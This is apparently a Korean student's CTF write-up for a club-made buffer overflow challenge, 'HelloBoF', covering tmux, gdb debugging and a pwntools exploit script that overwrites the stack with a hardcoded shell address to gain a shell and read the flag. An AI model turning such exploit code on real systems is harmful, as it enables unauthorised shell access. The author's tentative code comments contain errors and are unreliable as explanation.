환석이 2023. 4. 2. 23:43

[이 문제는 동아리자체 제작 문제입니다. ]

 

[이 문제를 풀기 전 꼭 HelloBoF에 권한을 주어야 합니다. ]

 

 

HelloBoF라는 문제로 Docker내에서 자체 실행시켰습니다. 

 

이 문제는 접근권한이 없는 flag를 읽는 문제입니다. 

exploit을 통해서 shell을 탈취한 뒤, flag을 읽으면 됩니다. 

 

 

도커를 통해 서버를 실행시켜 접근한 모습 

 

문제 내용인 HelloBoF로 접근해보겠다. 

문제폴더에 접근하니 hellobof라는 파일이 보인다.

 

실행시켜 보았다. 

hellobof

아무값이나 입력해 보았을 때, Nop... 이라면서 좋지 않은 결과가 나왔다. 

 

 문제는 여기까지 알아보고, 이 문제를 풀면서 새로운 기능들을 알게 되었다

 

바로 tmux와 gdb라는 것이다.

 

바로 보여주겠다.

 

먼저 tmux이다.

 

tmux화면에 들어온 모습
tmux의 기능을 사용해 화면을 분할한 모습

 


 

 

단축키키

tmux 핵심 기본 조작키 : Ctrl + b 세션 이름 정하기 : tmux new -s 세션이름명 세션 종료 : Ctrl + d 세션 나오기 : Ctrl + b - d 세선 확인하기 : tmux ls 세션 불러오기 : tmux attach -t 세션 이름명 세션 움직이기 :

hwan2story.tistory.com

위 문서에 단축키를 정리해 놓았다. (문랩씨 감사합니다)

 

그다음은 gdb이다.

 

 GDB는 C, C++, Ada 등과 같은 언어로 작성된 프로그램을 디버깅하기 위한 강력한 오픈 소스 명령줄 도구이다.

 

어셈블리언어가 가득 담긴 화면을 볼 수 있다. 

 

gdb hellobof를 통해 디버깅을 시작할 수 있다. 

지금까지 리버싱 문제를 풀어보면서 봤던 화면이 나오게 되었다. 

 

같은 폴더에 c파일을 넣어놔서 , 코드를 보면서도 디버깅이 되도록 설정이 되어 있는 모습이다. 

 

차례차례 한번 해보겠다. 

 

올리디버거와 기능은 유사하지만 , 단축키는 다르다. 

F8 ->  ni

F7 -> si

F2 - > b

간단하게 이 정도만 사용해서 값을 입력받는 곳으로 가보겠다. 

 

 

gdb에서는 엔터를 통해서 전에 입력한 명령어를 그대로 사용할 수 있었다.

 

process

ni를 통해서 핵심함수인 process까지 오게 되었고 , 브레이크를 건 뒤 si를 통해서 함수로 접근해 보겠다. 

process 내부

이후 check함수를 만나 바로 접근해 보았다. 

check함수 내부 read

check함수 내부에서 ni를 통해 계속 넘어오다가 read라는 함수를 발견했다. 핵심 함수였다. 

 

일단 계속 넘겨보니 프로그램이 끝나는 모습을 발견했다. 

 

다시 start를 통해 재시작을 한 뒤, 아까 걸어뒀던 breakpoint로 다시 접근해 보았다. 

breakpoint list
read 이후

read함수로 다시 넘어와 ni를 통해 넘어오니 값을 입력할 수 있었다. 

 

일단 아무 값이나 입력 후 넘어가 보았다. 

 

아무값이나 입력했을 때, 버퍼값을 구분하기 어려워서 메모리에 aaaaaaaaaaaaaaaaaaaaaaaa를 넣어보았다.

이후 값을 확인하기 위해서 ,  

예제  : x/[숫자][크기][타입] [주소]

x/20wx 0 xffd8819 e 

이 명령어를 써보았다. 

주소는 aaaaaaaaa~가 입력된 주소값이고 dword(4바이트)씩 0x20만큼을 보여주는 방식이었다. 

 

내부 모습

먼저 61616161 이런 식으로 a값이 들어가 있는 것을 확인했고 , 0a는 엔터였다. 거꾸로 들어간 것을 확인할 수 있었다.

그 이후 나머지 값이 비어있는 것을 확인할 수 있었다.

 

코드를 입력해 보면서, 62바이트까지 들어가는 것을 확인했고 실제로 64개의 바이트를 적으면 2개가 잘리는 것도 확인했다. 

 

실제 입력값 : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbb b

62까지 입력된 모습

 

 


내용 추가 해야 됨.

 


 

이러한 점을 통해서 exploit코드를 작성해 봤다. 

 

from pwn import *
p = process("/app/HelloBoF/hellobof")

stack = int(str(p.recvline()).split(" ")[1][:-3],16)

cccc_addr = stack-0x50

shell_addr = 0x80492b6  

cccc_value = b'\x63\x63\x63\x63'   

p.recv(9)

payload = b'\x61' * 54
payload += p32(shell_addr)  
payload += cccc_value        
payload += p32(cccc_addr)

p.sendline(payload)
p.interactive()

from pwn import * 
p = process("/app/HelloBoF/hellobof")

 이 두 줄은 pwntools 라이브러리를 가져오고 hellobof 바이너리를 실행하는 process() 함수를 사용하여 새 프로세스를 만듭니다.

 

stack = int(str(p.recvline()). split(" ")[1][:-3],16)
cccc_addr = stack-0x50  // 스택 포인터 아래 0x50바이트에 있는 cccc 변수의 주소를 계산  (?)

 

shell_addr = 0x80492 b6   //shell_addr 변수의 주소를 바이너리에서 쉘코드가 있는 메모리 주소로 설정 (?)

cccc_value = b'\x63\x63\x63\x63' // cccc 변수의 값을 little-endian 형식의 문자열 cccc로 설정하여 스택의 반환 주소를 덮어쓰는 데 사용 (?)

 

p.recv(9) : 앞자리 9 부분 버림  , ("I love : ")

 

payload = b'\x61' * 54     // 이 라인은 50개의 a 문자로 구성된 페이로드를 구성
payload += p32(shell_addr)   // shell_addr 변수의 주소 (?)
payload += cccc_value        //cccc 변수의 값 (?)
payload += p32(cccc_addr)  //마지막으로 cccc 변수의 주소 (?)

 

p.sendline(payload) // sendline() 함수를 사용하여 페이로드를 바이너리로 보냄
p.interactive() //  interactive() 함수를 호출하여 사용자가 쉘코드에 의해 생성된 쉘과 상호 작용

 

 

아직 개념 정리가 좀 덜 된 거 같아서 추후에 내용을 정확히 배운 뒤 다시 정리할 예정이다. 

 


이제 문제의 본질로 돌아가

문제서버에 왔다.

그 이후 작성한 exploit.py코드를 나의 임시 폴더에서 실행을 시켰더니 ,

 shell 권한을 얻었다는 문구와 함께 빨간 $ 이 나왔다.

flag가 있는 곳을 찾아, flag를 찾았다. 

 

문제의 내용을 알면서 풀어도 어려웠다. 아직 개념이 확실히 안 잡힌 거 같고 , 흐름 정도만 이해가 된 상태이다. 추후에 개념이 제대로 잡힌다면 반드시 다시 풀어야 할 문제이다.